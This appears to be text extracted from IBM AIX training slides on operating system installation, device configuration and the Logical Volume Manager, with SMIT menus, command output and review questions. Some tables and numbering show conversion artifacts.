   Keyboard Type .............. Default

3 Security Model ....................... Default

4 More Options (Software install options)

0 Install with the settings listed above
88 Help ?
99 Previous Menu

>>> Choice [1]:

Warning: Base operating system installation will destroy or impair recovery of SOME data on the destination disk hdisk0
Method of installation

Option 1 of the Installation and Settings menu:

Change Method of Installation

Type the number of your choice and press Enter.

1 New and Complete Overwrite
   Overwrites EVERYTHING on the disk selected for installation.
   Warning: Only use this method if the disk is totally empty or there is nothing
   on the disk you want to preserve.

2 Preservation Install
   Preserves SOME of the existing data on the disk selected for installation.
   Warning: This method overwrites the user (/usr), variable (/var), temporary
   (/tmp), and root (/) file systems. Other product (application) files and
   configuration data will be destroyed.

3 Migration Install
   Upgrades the Base Operating System to current release. Other product
   (application) files and configuration data are saved.

88 Help  ?
99 Previous Menu

>>> Choice [2]: 1
# Installation disks

Change Disks Where You Want to Install

Type one or more numbers for the disk(s) to be used for installation and press Enter. To cancel a choice, type the corresponding number and press Enter. At least one bootable disk must be selected. The current choice is indicated by >>>.

|>>>1| hdisk0 | 10-80-00-4,0 | 2063 | rootvg | yes |
|2| hdisk1 | 10-80-00-5,0 | 2063 | rootvg | no |

>>> 0 Continue with choices indicated above
55 More Disk Options
66 Disks not known to Base Operating System Installation
77 Display Alternative Disk Attributes
88 Help?
99 Previous Menu

>>> Choice [0]:

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Erasure Options for Disks

Select the number of times the disk(s) will be erased, and select the corresponding pattern to use for each disk erasure. If the number of patterns to write is 0 then no disk erasure will occur. This will be a time consuming process. Either type 0 and press Enter to continue with the current settings, or type the number of the setting you want to change and press Enter.

1  Number of patterns to write .......... 0
2  Pattern #1 .................................. 00
3  Pattern #2 .................................. ff
4  Pattern #3 .................................. a5
5  Pattern #4 .................................. 5a
6  Pattern #5 .................................. 00
7  Pattern #6 .................................. ff
8  Pattern #7 .................................. a5
9  Pattern #8 .................................. 5a

>>> 0 Continue with choices indicated above
88  Help ?
99  Previous Menu

>>> Choice[0]:

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Option 2 of the **Installation and Settings** menu:

Type the number for the Cultural Convention (such as date, time, and money), Language and Keyboard for this system and press Enter, or type 106 and press Enter to create your own combination.

<table>
<thead>
<tr>
<th>Cultural Convention</th>
<th>Language</th>
<th>Keyboard</th>
</tr>
</thead>
<tbody>
<tr>
<td>&gt;&gt; 1. C (POSIX)</td>
<td>C (POSIX)</td>
<td>C (POSIX)</td>
</tr>
<tr>
<td>2. Albanian</td>
<td>English (United States)</td>
<td>Albanian</td>
</tr>
<tr>
<td>3. Arabic</td>
<td>Arabic (Bahrain)</td>
<td>Arabic (Bahrain)</td>
</tr>
</tbody>
</table>

10. MORE CHOICES ……

88 Help ?
99 Previous menu

Choice [1]:

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Install Options

Option 4 of the Installation and Settings menu:

Install Options

Either type 0 and press Enter to install with current settings, or type the number of the setting you want to change and press Enter.

1. Graphics Software.................................................... Yes
2. System Management Client Software .................... Yes
3. Create JFS2 File Systems ......................................... Yes
4. Enable System Backups to install any system .... Yes
   (Install all devices)

>>> 5. Install More Software

   0 Install with the current settings listed above.

88 Help ?
99 Previous Menu

>>> Choice [5]: _
Install More Software

Either type 0 and press Enter to install with current settings, or type the number of the setting you want to change and press Enter.

1. Firefox (Firefox CD) ........................................................................ No
2. Kerberos_5 (Expansion Pack)......................................................... No
3. Server (Volume 2)............................................................................. No

>>> 0  Install with the current settings listed above.

88 Help ?
99 Previous Menu

>>> Choice [0]: _
Begin installation

Installing Base Operating System

Please wait . . . . .

<table>
<thead>
<tr>
<th>Approximate % tasks completed</th>
<th>Elapsed Time (in minutes)</th>
</tr>
</thead>
<tbody>
<tr>
<td>16</td>
<td>1</td>
</tr>
</tbody>
</table>

- Builds AIX directory structure
- Restores BOS, locale, and filesets from installation media only
- Installs software for the connected and powered on devices
The following tasks may be optional -- you can select only the tasks that you need to complete now. You will be returned to this window when each task is completed. When you have completed all the tasks that you want to perform, select the Exit Configuration Assistant task.

**Which task would you like to do next?**

- Set or verify system date and time.
- Set password for administrator (root user).
- Manage system storage and paging space.
- Configure network communications (TCP/IP).
- Configure a web server to run Web-based System Manager in a browser.
- Configure Online Documentation Library Service
- Exit the Configuration Assistant.
1. AIX 5 can be installed from which of the following? (Select all that are correct)
   a. 8 mm tape
   b. CD-ROM
   c. Diskette
   d. 4 mm tape

2. True or False? A Preservation Install preserves all data on the disks.

3. What is the console used for during the installation process?
   ______________________________________________________
   ______________________________________________________
1. AIX V6.1 can that be installed from which of the following? (Select all are correct)
   • 8 mm tape
   • CD-ROM
   • Diskette
   • 4 mm tape
   • True or False? A Preservation Install preserves all data on the disks.
     Preservation SOME of the existing data on the disk selected for installation.
     Warning: This method overwrites the user (/usr), variable (/var),
     temporary (/tmp), and root (/) file systems. Other product (application) files
     and configuration data are destroyed.

4. What is the console used for during the installation process?
   The console is used to display all the system messages and interact with the installation.
Exercise 5: AIX install and Configuration Assistant

• Installing AIX 6.1

• Configuration Assistant
Unit summary

- AIX V6.1 is only distributed on CD-ROM.
- In order to install the base operating system, system specific questions have to be answered before the process can begin.
- The Configuration Assistant is used by the system administrator to further customize the system.
Unit 7
Devices
Unit objectives

After completing this unit, you should be able to:

• Describe the difference between logical and physical devices
• Describe the purpose of the ODM predefined and customized databases
• Describe the different states of a device
• Describe the format of device location codes
• Use SMIT to add/show/change/delete devices
Device terminology

- Physical Devices
- Ports
- Device Drivers
- Logical Devices
- `/dev` Directory
## Listing of /dev directory

```bash
# ls -l /dev
brw-rw--rw 1 root  system 20,0 Oct 29 02:25 fd0
brw-rw--rw 1 root  system 20,64 Oct 29 02:26 fd1
crw-rw--rw 1 root  system 20,0 Oct 29 02:25 rfd0
crw-rw--rw 1 root  system 20,64 Oct 29 02:26 rfd1
:
:
crw-r--r-- 1 root  system 22,0 Oct 29 02:25 rmt0
crw-r--r-- 1 root  system 22,1 Oct 29 02:25 rmt0.1
:
:
brw------- 1 root  system 14,1 Oct 29 02:44 hdisk0
brw------- 1 root  system 14,2 Nov 1 05:31 hdisk1
crw------- 2 root  system 14,1 Oct 29 02:44 rhdisk0
crw------- 1 root  system 14,2 Nov 1 05:31 rhdisk1
```

![Diagram showing file system connections](image-url)
Device configuration database

### Predefined Configuration Database

<table>
<thead>
<tr>
<th>Class</th>
<th>Type</th>
<th>Subclass</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>memory</td>
<td>totmem</td>
<td>sys</td>
<td>Memory</td>
</tr>
<tr>
<td>tape</td>
<td>4mm4gb</td>
<td>scsi</td>
<td>4.0 GB 4mm Tape Drive</td>
</tr>
<tr>
<td>disk</td>
<td>osdisk</td>
<td>scsi</td>
<td>Other SCSI Disk Drive</td>
</tr>
<tr>
<td>adapter</td>
<td>23100020</td>
<td>pci</td>
<td>IBM 10/100Mbps Ethernet PCI Adapter (23100020)</td>
</tr>
<tr>
<td>adapter</td>
<td>14101800</td>
<td>pci</td>
<td>IBM PCI Tokenring Adapter (14101800)</td>
</tr>
<tr>
<td>adapter</td>
<td>chrp_ecp</td>
<td>isa_sio</td>
<td>CHRP IEEE1284 (ECP) Parallel Port Adapter</td>
</tr>
<tr>
<td>adapter</td>
<td>keyboard</td>
<td>kma_chrp</td>
<td>Keyboard Adapter</td>
</tr>
</tbody>
</table>

### Customized Configuration Database

<table>
<thead>
<tr>
<th>Name</th>
<th>Status</th>
<th>Location</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>sa0</td>
<td>Available</td>
<td>01-S1</td>
<td>Standard I/O Serial Port</td>
</tr>
<tr>
<td>sioka0</td>
<td>Available</td>
<td>01-K1-00</td>
<td>Keyboard Adapter</td>
</tr>
<tr>
<td>rmt0</td>
<td>Available</td>
<td>10-80-00-0.0</td>
<td>SCSI 4mm Tape Drive</td>
</tr>
<tr>
<td>hdisk0</td>
<td>Available</td>
<td>10-80-00-4,0</td>
<td>16 Bit SCSI Disk Drive</td>
</tr>
<tr>
<td>hdisk1</td>
<td>Available</td>
<td>10-80-00-5,0</td>
<td>16 Bit SCSI Disk Drive</td>
</tr>
<tr>
<td>mem0</td>
<td>Available</td>
<td></td>
<td>Memory</td>
</tr>
<tr>
<td>ent0</td>
<td>Available</td>
<td>10-60</td>
<td>IBM 10/100 Mbps Ethernet PC Adapter (23100020)</td>
</tr>
<tr>
<td>lft</td>
<td>lft</td>
<td>node</td>
<td>Low Function Terminal Subsystem</td>
</tr>
<tr>
<td>diskette</td>
<td>fd</td>
<td>siofd</td>
<td>Diskette Drive</td>
</tr>
<tr>
<td>printer</td>
<td>ibm4019</td>
<td>parallel</td>
<td>IBM 4019 LaserPrinter</td>
</tr>
</tbody>
</table>
# List all supported devices

## PdDv (Predefined Devices)

```bash
# lsdev -P -H

<table>
<thead>
<tr>
<th>class</th>
<th>type</th>
<th>subclass</th>
<th>description</th>
</tr>
</thead>
<tbody>
<tr>
<td>memory</td>
<td>totmem</td>
<td>sys</td>
<td>Memory</td>
</tr>
<tr>
<td>tape</td>
<td>4mm4gb</td>
<td>scsi</td>
<td>4.0 GB 4mm Tape Drive</td>
</tr>
<tr>
<td>disk</td>
<td>osdisk</td>
<td>scsi</td>
<td>Other SCSI Disk Drive</td>
</tr>
<tr>
<td>adapter</td>
<td>22100020</td>
<td>pci</td>
<td>IBM PCI Ethernet Adapter (22100020)</td>
</tr>
<tr>
<td>adapter</td>
<td>14101800</td>
<td>pci</td>
<td>IBM PCI Tokenring Adapter (14101800)</td>
</tr>
<tr>
<td>adapter</td>
<td>ppa</td>
<td>isa_sio</td>
<td>Standard I/O Parallel Port Adapter</td>
</tr>
<tr>
<td>adapter</td>
<td>isa_keyboard</td>
<td>isa_sio</td>
<td>Keyboard Adapter</td>
</tr>
</tbody>
</table>

# lsdev -Pc tape

```bash

<table>
<thead>
<tr>
<th>tape</th>
<th>subclass</th>
<th>description</th>
</tr>
</thead>
<tbody>
<tr>
<td>tape</td>
<td>scsi</td>
<td>1.2 GB 1/4-Inch Tape Drive</td>
</tr>
<tr>
<td>tape</td>
<td>scsi</td>
<td>150 MB 1/4-Inch Tape Drive</td>
</tr>
<tr>
<td>tape</td>
<td>scsi</td>
<td>3490E Autoloading Tape Drive</td>
</tr>
<tr>
<td>tape</td>
<td>scsi</td>
<td>2.0 GB 4mm Tape Drive</td>
</tr>
</tbody>
</table>

```
**CuDv (Customized Devices)**

```
# lsdev -C -H

<table>
<thead>
<tr>
<th>name</th>
<th>status</th>
<th>location</th>
<th>description</th>
</tr>
</thead>
<tbody>
<tr>
<td>sys0</td>
<td>Available</td>
<td>System</td>
<td>Object</td>
</tr>
<tr>
<td>pci0</td>
<td>Available</td>
<td>PCI Bus</td>
<td></td>
</tr>
<tr>
<td>isa0</td>
<td>Available</td>
<td>10-58</td>
<td>ISA Bus</td>
</tr>
<tr>
<td>sa0</td>
<td>Available</td>
<td>01-S1</td>
<td>Standard I/O Serial Port</td>
</tr>
<tr>
<td>scsi0</td>
<td>Available</td>
<td>10-80</td>
<td>Wide/Fast-20 SCSI I/O Controller</td>
</tr>
<tr>
<td>cd0</td>
<td>Available</td>
<td>10-80-00-3,0</td>
<td>SCSI Multimedia CD-ROM Drive</td>
</tr>
<tr>
<td>rmt0</td>
<td>Defined</td>
<td>10-80-00-6,0</td>
<td>4.0 GB 4mm Tape Drive</td>
</tr>
<tr>
<td>hdisk0</td>
<td>Available</td>
<td>10-80-00-4,0</td>
<td>16 Bit SCSI Disk Drive</td>
</tr>
<tr>
<td>hdisk1</td>
<td>Available</td>
<td>10-80-00-5,0</td>
<td>16 Bit SCSI Disk Drive</td>
</tr>
<tr>
<td>mem0</td>
<td>Available</td>
<td></td>
<td>Memory</td>
</tr>
<tr>
<td>ent0</td>
<td>Available</td>
<td>10-60</td>
<td>IBM 10/100 Mbps Ethernet PCI</td>
</tr>
<tr>
<td>tok0</td>
<td>Available</td>
<td>10-90</td>
<td>IBM PCI Tokenring Adapter</td>
</tr>
</tbody>
</table>
```

```
# lsattr -EH -l sys0

<table>
<thead>
<tr>
<th>attribute</th>
<th>value</th>
<th>description</th>
<th>user_settable</th>
</tr>
</thead>
<tbody>
<tr>
<td>keylock</td>
<td>normal</td>
<td>State of system keylock at boot time</td>
<td>False</td>
</tr>
<tr>
<td>realmem</td>
<td>131072</td>
<td>Amount of usable physical memory Kbytes</td>
<td>False</td>
</tr>
<tr>
<td>iostat</td>
<td>true</td>
<td>Continuously maintain DISK I/O history</td>
<td>True</td>
</tr>
</tbody>
</table>

# lsattr -E -l sys0 -a realmem

| realmem    | 131072   | Amount of usable physical memory in Kbytes            | False         |
```
Device states

Predefined Database
- Undefined
- Supported Device

Customized Database
- Defined
- Not Usable
- Available
- Ready for Use

Commands:
- `rmdev -dl`
- `mkdev -l`
- `cfgmgr`
- `rmdev -l`
1. Who are you?
2. Answer:
   - CD-ROM
   - 10-80-00-3,0
3. cd0 defined
4a) Load device driver
4b) Make /dev/cd0 entry
5. Device available
SMIT Devices menu

# smit devices

Devices

Move cursor to desired item and press Enter.
Install/Configure Devices Added After IPL
Printer/Plotter
TTY
Asynchronous Adapters
PTY
Console
MPIO Management
Fixed Disk
Disk Array
CD ROM Drive
Read/Write Optical Drive
Diskette Drive
Tape Drive
Communications
Graphic Displays
Graphic Input Devices
Low Function Terminal (LFT)
SCSI Initiator Device
SCSI Adapter
FC Adapter
IDE Adapter
iSCSI
Asynchronous I/O
Multimedia
List Devices
Configure/Unconfigure Devices
Install Additional Device Software
PCI Hot Plug Manager
SSA Disks
SSA RAID Arrays
Device addressing

• Location codes are used for device addressing
• The location code for a device is a path from the adapter in the CPU drawer or system unit, through the signal cables and the asynchronous distribution box (if there is one) to the device
• Location codes consist of up to four fields of information depending on the type of device
• Location codes differ based on model type
### Location code format for PCI devices

<table>
<thead>
<tr>
<th>AB</th>
<th>00</th>
<th>Resources attached to the processor</th>
</tr>
</thead>
<tbody>
<tr>
<td>01</td>
<td>Resources attached to the ISA bus</td>
<td></td>
</tr>
<tr>
<td>04</td>
<td>Resources attached to the PCI bus (only)</td>
<td></td>
</tr>
<tr>
<td>XY</td>
<td>Resources attached to the XY PCI bus (For example - 10 or 1P)</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>CD</th>
<th>01-99</th>
<th>For pluggable adapters/cards</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>A-Z,0</td>
<td>As position 1 and 2 respectively for integrated adapters</td>
</tr>
</tbody>
</table>

| EF  | The connector ID |

| GH  | Port identifier, address, memory modules, device, FRU for the device |
Location code example: Non-SCSI

128-Port Asynchronous Controller

System Unit

128-Port Adapter

1P-10

Remote Async Node (RAN)

1P-10-11-01

1P-10-11-07

1P-10-21-10

1P-10-22-04
Location code format for SCSI devices

AB-CD-EF-G,H

AB-CD
Identifies the bus and the adapter location
Same as with non-SCSI devices

EF
For a single SCSI bus - 00
For a dual SCSI bus:
  Internal bus - 00
  External bus - 01

G,H
G = SCSI address (SCSI ID) of the device
H = Logical unit number of the device
Location code example for SCSI device

**SCSI Devices (Disk, Tape, CD-ROM)**

- **System Unit**
- **SCSI Adapter**
- **SCSI Bus**
- **SCSI ID**

- **10-80-00-4,0**
- **10-80-00-6,0**

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Physical location codes

• Assigned by system firmware

• Used to uniquely identify hardware for:
  – Assigning adapters to logical partitions
  – Identifying field replaceable units (FRU)

• Structure of a physical location code:
  – <enclosure>.<planar>.<slot>-<port>-<logical location>
  – Enclosure is usually:
    <machine type>.<model>.<serial#>
  – Example, **U787A.001.DNZ0713-P1-C3**

• Displayed by default with **lscfg** command
### Listing device physical locations

**CuDv Customized Devices**

<table>
<thead>
<tr>
<th>name</th>
<th>status</th>
<th>physloc</th>
<th>location</th>
<th>description</th>
</tr>
</thead>
<tbody>
<tr>
<td>en1</td>
<td>Defined</td>
<td></td>
<td>01-08</td>
<td>Standard Ethernet Network</td>
</tr>
<tr>
<td>ent1</td>
<td>Defined</td>
<td>U789D.001.DQDWAYT-P1-C4-T1</td>
<td>01-08</td>
<td>10/100/1000 Base-TX</td>
</tr>
<tr>
<td>et1</td>
<td>Defined</td>
<td></td>
<td>01-08</td>
<td>IEEE 802.3 Ethernet</td>
</tr>
<tr>
<td>hdisk2</td>
<td>Defined</td>
<td>U7311.D20.107F67B-P1-C04-A8</td>
<td>02-08-01-8,0</td>
<td>16 Bit LVD SCSI Disk</td>
</tr>
<tr>
<td>hdisk3</td>
<td>Defined</td>
<td>U7311.D20.107F67B-P1-C04-A9</td>
<td>02-08-01-9,0</td>
<td>16 Bit LVD SCSI Disk</td>
</tr>
<tr>
<td>scsi0</td>
<td>Defined</td>
<td>U7311.D20.107F67B-P1-C04</td>
<td>02-08-00</td>
<td>PCI X Dual Channel</td>
</tr>
<tr>
<td>scsi1</td>
<td>Defined</td>
<td>U7311.D20.107F67B-P1-C04</td>
<td>02-08-01</td>
<td>PCI X Dual Channel</td>
</tr>
<tr>
<td>ses0</td>
<td>Defined</td>
<td>U7311.D20.107F67B-P1-C04-AF</td>
<td>02-08-01-15,0</td>
<td>SCS Enclosure Services</td>
</tr>
<tr>
<td>sissesia0</td>
<td>Defined</td>
<td>U7311.D20.107F67B-P1-C04</td>
<td>02-08</td>
<td>PCI XDDR Dual Channel</td>
</tr>
</tbody>
</table>
Adding an ASCII terminal

Move cursor to desired item and press Enter.

List All Defined TTYs
Add a TTY
Move a TTY to Another Port
Change / Show Characteristics of a TTY
Remove a TTY
Configure a Defined TTY
Generate an Error Report
Trace a TTY

F1=Help    F2=Refresh    F3=Cancel    F8=Image
F9=Shell    F10=Exit    Enter=Do
## TTY Type

Move cursor to desired item and press Enter.

<table>
<thead>
<tr>
<th>TTY Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>tty rs232</td>
<td>Asynchronous Terminal</td>
</tr>
<tr>
<td>tty rs422</td>
<td>Asynchronous Terminal</td>
</tr>
</tbody>
</table>

## Parent Adapter

Move cursor to desired item and press Enter.

<table>
<thead>
<tr>
<th>Adapter</th>
<th>Available</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>sa0</td>
<td>Available</td>
<td>01-S1 Standard I/O Serial Port 1</td>
</tr>
<tr>
<td>sa1</td>
<td>Available</td>
<td>01-S2 Standard I/O Serial Port 2</td>
</tr>
<tr>
<td>sa2</td>
<td>Available</td>
<td>1P-03-11 16-Port RAN EIA-232 for 128-Port adapter</td>
</tr>
<tr>
<td>sa3</td>
<td>Available</td>
<td>1P-03-12 16-Port RAN EIA-232 for 128-Port adapter</td>
</tr>
<tr>
<td>sa4</td>
<td>Available</td>
<td>1P-03-13 16-Port RAN EIA-232 for 128 Port adapter</td>
</tr>
</tbody>
</table>
Device nomenclature

For the built-in serial connection, the nomenclature looks like this:

```
+------------------+
| sa0              |
|                  |
| +-----+---------+-----+ |
| | s1   |         | s2  | |
| +-----+---------+-----+ |
```

Built-in adapters on system planar

Serial ports

For the 128-port adapter, the nomenclature looks like this:

```
+------------------+
| 1                |
| +-----+---------+-----+ |
| | sa2   |         | sa3  | |
| +-----+---------+-----+ |
+------------------+
|                   |
| 16-Port RAN       |
|                   |
| sa4               |
|                   |
| 16-Port RAN       |
```

Adapter Location code: 1P-03
# Add a TTY

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

<table>
<thead>
<tr>
<th>Entry Fields</th>
</tr>
</thead>
<tbody>
<tr>
<td>TTY type</td>
</tr>
<tr>
<td>TTY interface</td>
</tr>
<tr>
<td>Description</td>
</tr>
<tr>
<td>Parent adapter</td>
</tr>
</tbody>
</table>

* PORT number

| + |
| [] | + |
| Enable LOGIN |
| disable | + |

| BAUD rate |
| [none] | + |

| PARITY |
| [none] | + |

| BITS per character |
| [8] | + |

| Number of STOP BITS |
| [1] | + |

| TIME before advancing to next port setting |
| [0] | +# |

| TERMINAL type |
| [dumb] |

| FLOW CONTROL to be used |
| [xon] | + |

[MORE...31]

F1=Help F2=Refresh F3=Cancel F4=List
Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do
Documenting hardware configuration

- `lsdev -CH`
  - Provides name, status, location, and description of devices

- `lscfg -v`
  - Provides details of all devices including manufacturer, type and model number, and part numbers

- `lsattr -El sys0`
  - Provides attributes for the name device (for example, `sys0`)
  - Run command for all devices

- `getconf -a`
  - Provides the values of all system configuration variables
1. Is it possible to use SCSI ID 7 for a new tape drive?

_______________________________________________
_______________________________________________

3. Use the output on the next visual (lsdev -C -H) to answer the following four questions.

a) What happens if we attempt to add another device with the SCSI address set to 4?

_______________________________________________
_______________________________________________

b) Can the 8 mm tape drive be currently used? Why?

_______________________________________________
_______________________________________________

• Where is the printer connected? _________________

d) The Ethernet adapter is installed in what slot?

_______________________________________________
_______________________________________________
# lsdev -C -H

<table>
<thead>
<tr>
<th>name</th>
<th>status</th>
<th>location</th>
<th>description</th>
</tr>
</thead>
<tbody>
<tr>
<td>sys0</td>
<td>Available</td>
<td></td>
<td>System Object</td>
</tr>
<tr>
<td>pci0</td>
<td>Available</td>
<td></td>
<td>PCI Bus</td>
</tr>
<tr>
<td>isa0</td>
<td>Available</td>
<td>10-58</td>
<td>ISA Bus</td>
</tr>
<tr>
<td>ppa0</td>
<td>Available</td>
<td>01-R1</td>
<td>Standard I/O Parallel Port Adapter</td>
</tr>
<tr>
<td>lp0</td>
<td>Available</td>
<td>01-R1-00-00</td>
<td>IBM 4039 LaserPrinter</td>
</tr>
<tr>
<td>sa0</td>
<td>Available</td>
<td>01-S1</td>
<td>Standard I/O Serial Port 1</td>
</tr>
<tr>
<td>tty0</td>
<td>Available</td>
<td>01-S1-00-00</td>
<td>Asynchronous Terminal</td>
</tr>
<tr>
<td>mem0</td>
<td>Available</td>
<td></td>
<td>Memory</td>
</tr>
<tr>
<td>scsi0</td>
<td>Available</td>
<td>10-80</td>
<td>Wide SCSI I/O Controller</td>
</tr>
<tr>
<td>rmt0</td>
<td>Defined</td>
<td>10-80-00-3,0</td>
<td>5.0 GB 8 mm Tape Drive</td>
</tr>
<tr>
<td>hdisk0</td>
<td>Available</td>
<td>10-80-00-4,0</td>
<td>SCSI Disk Drive</td>
</tr>
<tr>
<td>ent0</td>
<td>Available</td>
<td>10-60</td>
<td>IBM PCI 10/100 Ethernet Adapter</td>
</tr>
</tbody>
</table>
1. Is it possible to use SCSI ID 7 for a new tape drive?
   No. The SCSI adapter itself uses ID 7. So, it cannot be used for other devices.

3. Use the output on the next visual (lsdev -C -H) to answer the following four questions.
   a) What happens if we attempt to add another device with the SCSI address set to 4?
      The operation fails as there is already a device (SCSI Disk Drive) configured at this location.
   c) Can the 8 mm tape drive be currently used? Why?
      No, because it is in the defined state. You have to first make it available by either using SMIT or the mkdev command.
   • Where is the printer connected? The parallel port
   • The Ethernet adapter is installed in what slot?
      It is an integrated adapter which does not occupy a slot on the PCI bus.
Exercise 7: Devices

- List device configuration
- List and change system parameters
- Configure a tape device
- Configure a CD-ROM device
Unit summary

• A physical device is the actual hardware attached to the system.
• A logical device is the software interface used by programs and users to access a physical device.
• Device information is stored in the ODM in two databases: customized and predefined.
• Devices can exist in a number of different states: unavailable, defined, available and stopped.
• Location codes are used to describe exactly where a device is connected into the system.
• Device attributes can be modified through SMIT.
• To create, modify, or remove device definitions, it is sometimes necessary to use commands such as `mkdev`, `chdev`, and `rmdev`. 
Welcome to:

Unit 9
Working with the Logical Volume Manager
Unit objectives

After completing this unit, you should be able to:
• Add, change, and delete:
  – Volume groups
  – Logical volumes
  – Physical volumes
• Describe mirroring
• Describe striping
Logical Volume Manager

# smit lvm

Logical Volume Manager

Move cursor to desired item and press Enter.

Volume Groups
Logical Volumes
Physical Volumes
Paging Space

F1=Help        F2=Refresh        F3=Cancel        F8=Image
F9=Shell       F10=Exit          Enter=Do
Volume groups

- Physical Volume (PV)
  - Hard disk

- Volume Group (VG)
  - Collection of related disks (PVs)
SMIT Volume Groups menu

# smit vg

Volume Groups

Move cursor to desired item and press Enter.

List All Volume Groups
Add a Volume Group
Set Characteristics of a Volume Group
List Contents of a Volume Group
Remove a Volume Group
Activate a Volume Group
Deactivate a Volume Group
Import a Volume Group
Export a Volume Group
Mirror a Volume Group
Unmirror a Volume Group
Synchronize LVM Mirrors
Back Up a Volume Group
Remake a Volume Group
Preview Information about a Backup
Verify the Readability of a Backup (Tape only)
View the Backup Log
List Files in a Volume Group Backup
Restore Files in a Volume Group Backup

F1=Help       F2=Refresh       F3=Cancel       F8=Image
F9=Shell       F10=Exit         Enter=Do
List all volume groups

# lsvg
rootvg
payrollvg

# lsvg -o
rootvg
List volume group contents

```
# lsvg rootvg

<table>
<thead>
<tr>
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>VOLUME GROUP:</td>
<td>rootvg</td>
</tr>
<tr>
<td>VG STATE:</td>
<td>active</td>
</tr>
<tr>
<td>VG PERMISSION:</td>
<td>read/write</td>
</tr>
<tr>
<td>MAX LVs:</td>
<td>256</td>
</tr>
<tr>
<td>TOTAL LVs:</td>
<td>11</td>
</tr>
<tr>
<td>OPEN LVs:</td>
<td>10</td>
</tr>
<tr>
<td>TOTAL PVs:</td>
<td>2</td>
</tr>
<tr>
<td>STALE PVs:</td>
<td>0</td>
</tr>
<tr>
<td>MAX PPs per VG:</td>
<td>32512</td>
</tr>
<tr>
<td>MAX PPs per PV:</td>
<td>1016</td>
</tr>
<tr>
<td>LTG size (Dynamic):</td>
<td>256 kilobyte(s)</td>
</tr>
<tr>
<td>HOT SPARE:</td>
<td>no</td>
</tr>
<tr>
<td>VG IDENTIFIER:</td>
<td>000bc6fd00004c000000000e10fdd7f52</td>
</tr>
<tr>
<td>PP SIZE:</td>
<td>16 megabyte(s)</td>
</tr>
<tr>
<td>TOTAL PPs:</td>
<td>1084 (17344 megabytes)</td>
</tr>
<tr>
<td>USED PPs:</td>
<td>52 (832 megabytes)</td>
</tr>
<tr>
<td>FREE PPs:</td>
<td>1032 (16512 megabytes)</td>
</tr>
<tr>
<td>VG DESCRIPTORS:</td>
<td>3</td>
</tr>
<tr>
<td>AUTO ON:</td>
<td>yes</td>
</tr>
<tr>
<td>STALE PPs:</td>
<td>0</td>
</tr>
<tr>
<td>MAX PVs:</td>
<td>32</td>
</tr>
<tr>
<td>AUTO SYNC:</td>
<td>no</td>
</tr>
<tr>
<td>BB POLICY:</td>
<td>relocatable</td>
</tr>
</tbody>
</table>
```
List volume group information (physical volumes)

```
# lsvg -p rootvg

rootvg:

<table>
<thead>
<tr>
<th>PV_NAME</th>
<th>PV STATE</th>
<th>TOTAL PPs</th>
<th>FREE PPs</th>
<th>FREE DISTRIBUTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>hdisk0</td>
<td>active</td>
<td>159</td>
<td>52</td>
<td>24..00..00..00..28</td>
</tr>
<tr>
<td>hdisk1</td>
<td>active</td>
<td>159</td>
<td>78</td>
<td>32..02..00..12..32</td>
</tr>
</tbody>
</table>
```
List volume group information (logical volumes)

```bash
# lsvg -l rootvg

rootvg:
LVNAME   TYPE    LPs  PPs  PVs LV STATE MOUNT POINT
hd6     paging  32   32  1   open/syncd  N/A
hd5     boot    2    2  1   closed/syncd N/A
hd8     jfslog  1    1  1   open/syncd  N/A
hd9var  jfs2    1    1  1   open/syncd  /var
hd4     jfs2    9    9  1   open/syncd  /
hd2     jfs2    101  101 1   open/syncd /usr
hd3     jfs2    4    4  1   open/syncd /tmp
hd1     jfs2    1    1  1   open/syncd /home
hd10opt jfs2    5    5  1   open/syncd /opt
hd11adminjfs2 8    8  1   open/syncd /admin
lv00    jfs2    1    2  2   open/syncd /home/john
lv01    jfs2    4    4  2   open/syncd /home/fred
```
Add a Volume Group

# smit mkvg

Add a Volume Group

Move cursor to desired item and press Enter.

Add an Original Volume Group
Add a Big Volume Group
Add a Scalable Volume Group

Add an Original Volume Group

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

[Entry Fields]

<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>VOLUME GROUP name</td>
<td>[]</td>
</tr>
<tr>
<td>Physical partition SIZE in megabytes</td>
<td>+</td>
</tr>
<tr>
<td>* PHYSICAL VOLUME names</td>
<td>[]</td>
</tr>
<tr>
<td>FORCE the creation of volume group?</td>
<td>no</td>
</tr>
<tr>
<td>Activate volume group AUTOMATICALLY</td>
<td>yes</td>
</tr>
<tr>
<td>at system restart?</td>
<td>+</td>
</tr>
<tr>
<td>Volume group MAJOR NUMBER</td>
<td>[]</td>
</tr>
<tr>
<td>Create VG Concurrent Capable?</td>
<td>no</td>
</tr>
<tr>
<td></td>
<td>+</td>
</tr>
</tbody>
</table>

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Add a Scalable Volume Group

Add a Scalable Volume Group

Type or select values in entry fields.
Press Enter AFTER making all desired changes.

<table>
<thead>
<tr>
<th>Entry Fields</th>
</tr>
</thead>
<tbody>
<tr>
<td>VOLUME GROUP name</td>
</tr>
<tr>
<td>Physical partition SIZE in megabytes</td>
</tr>
<tr>
<td>PHYSICAL VOLUME names</td>
</tr>
<tr>
<td>FORCE the creation of volume group?</td>
</tr>
<tr>
<td>Activate volume group AUTOMATICALLY at system restart?</td>
</tr>
<tr>
<td>Volume group MAJOR NUMBER</td>
</tr>
<tr>
<td>Create VG Concurrent Capable?</td>
</tr>
<tr>
<td>Max PPs per VG in units of 1024</td>
</tr>
<tr>
<td>Max Logical Volumes</td>
</tr>
</tbody>
</table>

F1=Help          F2=Refresh          F3=Cancel          F4=List
F5=Reset         F6=Command          F7=Edit            F8=Image
F9=Shell         F10=Exit            Enter=Do
Set Characteristics of a Volume Group

Move cursor to desired item and press Enter.

Change a Volume Group
Add a Physical Volume to a Volume Group
Remove a Physical Volume from a Volume Group
Reorganize a Volume Group

